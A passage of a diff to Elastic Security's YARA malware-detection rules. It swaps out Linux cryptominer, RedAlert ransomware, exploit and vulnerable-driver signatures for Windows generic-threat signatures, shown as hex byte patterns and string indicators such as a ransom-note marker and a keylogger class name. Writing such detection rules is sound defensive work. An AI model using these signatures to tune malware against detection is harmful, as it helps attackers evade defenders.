-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4a6d98eae8951e5b9e0a226f1197732d6d14ed45c1b1534d3cdb4413261eb352"
-		logic_hash = "4bcd7931aeed09069d5dd248a66f119a2bdf628e03b9abed9ee2de59a149c2bc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2011-L2029"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7efa5c8fd55a20fbc3a270cf2329d4a38f10ca372f3428bee4c42279fbe6f9c3"
+		logic_hash = "dc3a3622abbc7d0a02d8d9ed4446d0a72a603ecfd6594ecfa615e5418a9c9970"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "05c8d7c1d11352f2ec0b5d96a7b2378391ad9f8ae285a1299111aca38352f707"
-		severity = 100
+		fingerprint = "eedf850c3576425fb37291f954dfa39db758cdad0a38f85581d2bcaedcb54769"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 72 56 66 48 32 37 48 4D 5A 75 6D 74 46 75 4A 72 6D 48 47 38 }
+		$a1 = { 83 EC 40 53 56 57 6A 0F 59 BE 84 77 40 00 8D 7D C0 8B 5D 0C F3 A5 66 A5 8B CB 33 C0 A4 8B 7D 08 8B D1 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA 33 C0 8D 7D 0E 50 66 AB FF 15 BC 60 40 00 50 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_0F7C5375 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_0A38C7D0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0f7c5375-99dc-4204-833a-9128798ed2e9"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "0a38c7d0-8f5e-4dcf-9aaf-5fcf96451d3c"
+		date = "2024-01-22"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L218-L236"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e75be5377ad65abdc69e6c7f9fe17429a98188a217d0ca3a6f40e75c4f0c07e8"
-		logic_hash = "05f4b16a7e4c7ffbc6b8a2f60050a4ac1d05d9efbe948e2da689055f6383cf82"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2031-L2049"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "69ea7d2ea3ed6826ddcefb3c1daa63d8ab53dc6e66c59cf5c2506a8af1c62ef4"
+		logic_hash = "e3fde76825772683c57f830759168fc9a3b3f3387f091828fd971e9ebba06d8a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "53bb31c6ba477ed86e55ce31844055c26d7ab7392d78158d3f236d621181ca10"
-		severity = 100
+		fingerprint = "43998ceb361ecf98d923c0388c00023f19d249a5ac0011dee0924fdff92af42b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F8 7F 48 89 85 C0 00 00 00 77 08 48 83 85 C8 00 00 00 01 31 F6 48 }
+		$a1 = { 55 8B EC 8B 4D 08 85 C9 74 37 8B 45 0C 3D E0 10 00 00 7C 05 B8 E0 10 00 00 85 C0 7E 24 8D 50 FF B8 AB AA AA AA F7 E2 D1 EA 83 C1 02 42 53 8B FF 8A 41 FE 8A 19 88 59 FE 88 01 83 C1 03 4A 75 F0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_87639Dbd : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_98527D90 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "87639dbd-da2d-4cf9-a058-16f4620a5a7f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "98527d90-90fb-4428-ab3f-6bbf23139a6e"
+		date = "2024-01-24"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L238-L256"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d2d8421ffdcebb7fed00edcf306ec5e86fc30ad3e87d55e85b05bea5dc1f7d63"
-		logic_hash = "b81af8c9baee999b91e63f97d5a46451d9960487b25b04079df5539f857be466"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2051-L2069"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fa24e7c6777e89928afa2a0afb2fab4db854ed3887056b5a76aef42ae38c3c82"
+		logic_hash = "5a93f0a372f3a51233c6b2334539017df922f35a0d5f7d1749e0dd79268cb836"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c145df0a671691ef2bf17644ec7c33ebb5826d330ffa35120d4ba9e0cb486282"
-		severity = 100
+		fingerprint = "dac4d9e370992cb4a064d64660801fa165a7e0a1f4a52e9bc3dc286395dcbc91"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 00 48 83 C2 01 48 89 EF 48 89 53 38 FF 50 18 48 8D 7C 24 30 48 }
+		$a1 = { 20 FF D5 48 8D 87 0F 02 00 00 80 20 7F 80 60 28 7F 4C 8D 4C 24 20 4D 8B 01 48 89 DA 48 89 F9 FF D5 48 83 C4 28 5D 5F 5E 5B 48 8D 44 24 80 6A 00 48 39 C4 75 F9 48 83 EC 80 E9 8D 70 FC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_Cdd631C1 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Baba80Fb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "cdd631c1-2c03-47dd-b50a-e8c0b9f67271"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "baba80fb-1d8a-424c-98e2-904c8f2e4f09"
+		date = "2024-01-24"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L258-L276"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "91549c171ae7f43c1a85a303be30169932a071b5c2b6cf3f4913f20073c97897"
-		logic_hash = "5e4b26a74fc3737c068917c7c1228048f885ac30fc326a2844611f7e707d1300"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2071-L2089"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dd22cb2318d66fa30702368a7f06e445fba4b69daf9c45f8e83562d2c170a073"
+		logic_hash = "ba0da35bc00b776ae9b427e3a4b312b1b75bdc9b972fb52f26a5df6737f1ddc9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fa174ac25467ab6e0f11cf1f0a5c6bf653737e9bbdc9411aabeae460a33faa5e"
-		severity = 100
+		fingerprint = "71d9345d0288bfbbf7305962e5e316801d4a5cba332c5f4167f8e4f39cff6f61"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 5F 5A 4E 35 78 6D 72 69 67 35 50 6F 6F 6C 73 }
+		$a1 = { 83 EC 0C 8B 4D 0C 53 56 57 8B 59 20 8D 71 20 8B F9 89 75 FC 85 DB 89 7D 0C 75 05 8B 59 24 EB 0C 8D 41 24 89 45 F8 8B 00 85 C0 75 30 8B 51 28 8B 41 2C 85 DB 74 03 89 53 28 85 D2 74 15 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_209B02Dd : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_9F4A80B2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "209b02dd-3087-475b-8d28-baa18647685b"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "9f4a80b2-e1ee-4825-a5e5-79175213da7d"
+		date = "2024-01-24"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L278-L296"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "60d33d1fdabc6b10f7bb304f4937051a53d63f39613853836e6c4d095343092e"
-		logic_hash = "5cadc955242d4b7d5fd4365a0b425051d89c905e3d49ea03967150de0020225c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2091-L2109"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "47d57d00e2de43f33cd56ff653adb59b804e4dbe37304a5fa6a202ee20b50c24"
+		logic_hash = "1df3b8245bc0e995443d598feb5fe2605e05df64b863d4f47c17ecbe8d28c3ea"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5829daea974d581bb49ac08150b63b7b24e6fae68f669b6b7ab48418560894d4"
-		severity = 100
+		fingerprint = "86946aea009f8debf5451ae7894529dbcf79ec104a51590d542c0d64a06f2669"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 31 F5 44 0B 5C 24 F4 41 C1 EA 10 44 0B 54 24 }
+		$a1 = { 28 00 00 0A 2A 20 02 00 00 00 FE 0E 08 00 00 FE 0C 08 00 20 00 00 00 00 FE 01 39 0A 00 00 00 00 20 01 00 00 00 FE 0E 08 00 00 FE 0C 08 00 20 02 00 00 00 FE 01 39 05 00 00 00 38 05 00 00 00 38 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Ransomware_Redalert_39642D52 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_39E1Eb4C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Redalert (Linux.Ransomware.RedAlert)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "39642d52-0a4b-48d5-bb62-8f37beb4dc6a"
-		date = "2022-07-06"
-		modified = "2022-08-16"
+		id = "39e1eb4c-32ba-4c78-9997-1c75b41dcba6"
+		date = "2024-01-24"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_RedAlert.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "039e1765de1cdec65ad5e49266ab794f8e5642adb0bdeb78d8c0b77e8b34ae09"
-		logic_hash = "fa8fc16f0c8a55dd78781d334d7f55db6aa5e60f76cebf5282150af8ceb08dc3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2111-L2129"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a733258bf04ffa058db95c8c908a79650400ebd92600b96dd28ceecac311f94a"
+		logic_hash = "d7791ae7513bc5645bcfa93a2d7bf9f7ef47a6727ea2ba5eb85f3c8528761429"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "744524ee2ae9e3e232f15b0576cdab836ac0fe3c9925eab66ed8c6b0be3f23d7"
-		severity = 100
+		fingerprint = "63d21d89b4ceea1fbc44a1dfd2dbb9ac3eb945884726a9809133624b10168c7a"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$str_ransomnote = "\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\% REDALERT UNIQUE IDENTIFIER START \\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%" ascii fullword
-		$str_print = "\t\t\t########\n\t\t\t[ N13V ]\n\t\t\t########\n\n" ascii fullword
-		$str_arg = "[info] Catch -t argument. Check encryption time" ascii fullword
-		$str_ext = ".crypt658" ascii fullword
-		$byte_checkvm = { 48 8B 14 DD ?? ?? ?? ?? 31 C0 48 83 C9 FF FC 48 89 EE 48 89 D7 F2 AE 4C 89 E7 48 F7 D1 E8 }
+		$a1 = { 83 E4 F8 83 EC 6C 53 56 8B 75 08 57 8B C6 8D 4C 24 58 E8 26 80 00 00 8B C6 8D 4C 24 38 E8 1B 80 00 00 80 7C 24 54 00 8B 7E 0C 8B 5E 08 89 7C 24 1C 74 09 8B 74 24 50 E8 61 80 00 00 83 }
 
 	condition:
-		3 of ($str_*) or ($byte_checkvm and $str_print)
+		all of them
 }
-rule ELASTIC_Linux_Exploit_Moogrey_81131B66 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_D51Dd31B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Moogrey (Linux.Exploit.Moogrey)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "81131b66-788e-4456-9cb4-ffade713e8d4"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "d51dd31b-1735-4fd7-9906-b07406a9d20c"
+		date = "2024-01-24"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Moogrey.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cc27b9755bd9feb1fb2c510f66e36c20a1503e6769cdaeee2bea7fe962d22ccc"
-		logic_hash = "dc2fe7caa38f665d24bbc673ff63491ebdeec8d56a420092243ce241238846cf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2131-L2150"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2a61c0305d82b6b4180c3d817c28286ab8ee56de44e171522bd07a60a1d8492d"
+		logic_hash = "85fc7aa81489b304c348ead2d7042bb5518ff4579b1d3e837290032c4b144e47"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "d21e48c7afe580a764153ca489c24a7039ae663ebb281a4605f3a230a963e33e"
+		fingerprint = "f313354a52ba8058c36aea696fde5548c7eb9211cac3b6caa511671445efe2a7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 C0 89 45 D4 83 7D D4 00 79 1A 83 EC 0C 68 50 }
+		$a1 = { 7E 7D 7C 7B 7A 79 78 78 76 77 74 73 72 }
+		$a2 = { 6D 6C 6B 6A 69 68 67 66 65 64 63 62 61 60 60 5E 66 60 5B 5A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Xtier_48Bb4B2C : FILE
+rule ELASTIC_Windows_Generic_Threat_3A321F0A : FILE MEMORY
 {
 	meta:
-		description = "Name: nscm.sys, Version: 3.1.12.0"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "48bb4b2c-da6c-4e2a-bbbe-75c7a892bdc6"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "3a321f0a-2775-455f-b8c2-30591ebfe4ac"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_XTier.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0f726d8ce21c0c9e01ebe6b55913c519ad6086bcaec1a89f8308f3effacd435f"
-		logic_hash = "fd6ae610a4d2cbf02aae2302d181d07780e723ac7e61b5aa3fd18ba834160729"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2152-L2170"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "91056e8c53dc1e97c7feafab31f0943f150d89a0b0026bcfb3664d2e93ccfe2b"
+		logic_hash = "83834dd7d4df5de4b6a032f1896f52c1ebdf16ca8ad9766e8872243f1a6da67e"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "bd50e4b3d9999d68574903bd9ec144be7456908658639852480418315903da5b"
-		threat_name = "Windows.VulnDriver.XTier"
+		tags = "FILE, MEMORY"
+		fingerprint = "230c3bbc70ec93888f5cd68598dcc004844db67f17d1048a51f6c6408bc4a956"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6E 00 73 00 63 00 6D 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x0c][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0b][\x00-\x00]))/
+		$a1 = { 83 EC 44 8D 45 14 8B 4D 10 85 C9 89 5D F8 89 7D FC 0F 8E 3D 01 00 00 49 8D 55 17 83 E2 FC 89 4D 10 85 C9 8D 42 08 8B 58 F8 8B 78 FC 89 5D D4 89 7D D8 0F 8E 31 01 00 00 83 C2 0B 49 83 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Xtier_8A2F6Dc1 : FILE
+rule ELASTIC_Windows_Generic_Threat_A82F45A8 : FILE MEMORY
 {
 	meta:
-		description = "Name: libnicm.sys, Version: 3.1.12.0"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "8a2f6dc1-82f4-4e87-a4d6-49a36ea4fab8"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "a82f45a8-8e47-4966-9d48-9af61a21ac42"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_XTier.yar#L23-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3"
-		logic_hash = "90e1efd9d918f15459dd3fabb4737cbdeded66da1d556becca051bdda5867c11"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2172-L2190"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ad07428104d3aa7abec2fd86562eaa8600d3e4b0f8d78ba1446f340d10008b53"
+		logic_hash = "70ebab6b03af38ef8c81664cf49ab07066a9672666599d99c91291a9d2e3af0b"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "0142537ba2fa5fa44cf89e0f2126da2b18894115c6152e1f3eaeb759951aba26"
-		threat_name = "Windows.VulnDriver.XTier"
+		tags = "FILE, MEMORY"
+		fingerprint = "e3a1faabc15e2767eb065f4e2a7c6f75590cba1368db1aab1af972a5aeca4031"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6C 00 69 00 62 00 6E 00 69 00 63 00 6D 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x0c][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0b][\x00-\x00]))/
+		$a1 = { 55 8B EC 51 89 4D FC 8B 4D 08 51 8B 4D FC 83 C0 04 E8 66 7D F6 FF 59 5D C2 08 00 90 55 8B EC 51 89 4D FC 8B 4D 08 51 41 51 8B 4D FC E8 CF FF FF FF 59 5D C2 04 00 8B C0 55 8B EC 83 C4 F8 53 56 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Xtier_F4760D4A : FILE
+rule ELASTIC_Windows_Generic_Threat_D6625Ad7 : FILE MEMORY
 {
 	meta:
-		description = "Name: NICM.SYS, Version: 3.1.12.0"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f4760d4a-42da-4bb8-87ff-3b2e709c6a95"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "d6625ad7-7f2c-4445-a5f2-a9444425f3a4"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_XTier.yar#L45-L65"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0e14a4401011a9f4e444028ac5b1595da34bbbf9af04a00670f15ff839734003"
-		logic_hash = "dc83771e08b8530bf138782ba8c7724e7ecff40c973407a7f654346302a284d5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2192-L2210"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "878c9745320593573597d62c8f3adb3bef0b554cd51b18216f6d9f5d1a32a931"
+		logic_hash = "e90aff7c35f60cc3446f9eeb2131edb7125bfa04eb8f90c5671d06e9ff269755"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "95f3b1f788edb8a6cd121dc44fd1426ff1b29cf3231c6f3f4ec434d288cd8deb"
-		threat_name = "Windows.VulnDriver.XTier"
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "0e1bb99e22b53e6bb6350f95caaac592ddcad7695e72e298c7ab1d29d1dd4c1f"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4E 00 49 00 43 00 4D 00 2E 00 53 00 59 00 53 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x0c][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0b][\x00-\x00]))/
+		$a1 = { 2E 3F 41 56 3C 6C 61 6D 62 64 61 5F 31 3E 40 3F 4C 40 3F 3F 6F 6E 5F 65 76 65 6E 74 5F 61 64 64 40 43 6F 6D 70 6F 6E 65 6E 74 5F 4B 65 79 6C 6F 67 65 72 40 40 45 41 45 58 49 40 5A 40 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Xtier_6A7De49F : FILE
+rule ELASTIC_Windows_Generic_Threat_61Bbb571 : FILE MEMORY
 {
 	meta:
-		description = "Name: NCPL.SYS, Version: 3.1.12.0"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6a7de49f-1a31-4ce0-b4b1-cdc670bfdf18"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "61bbb571-8544-4874-9811-bd74a5e9f712"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_XTier.yar#L67-L87"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "26c86227d3f387897c1efd77dc711eef748eb90be84149cb306e3d4c45cc71c7"
-		logic_hash = "de0d25377103d50b33a95a804b9c3eb9ef221d56fa1dfda0a32f14dcd95ee4b1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2212-L2230"
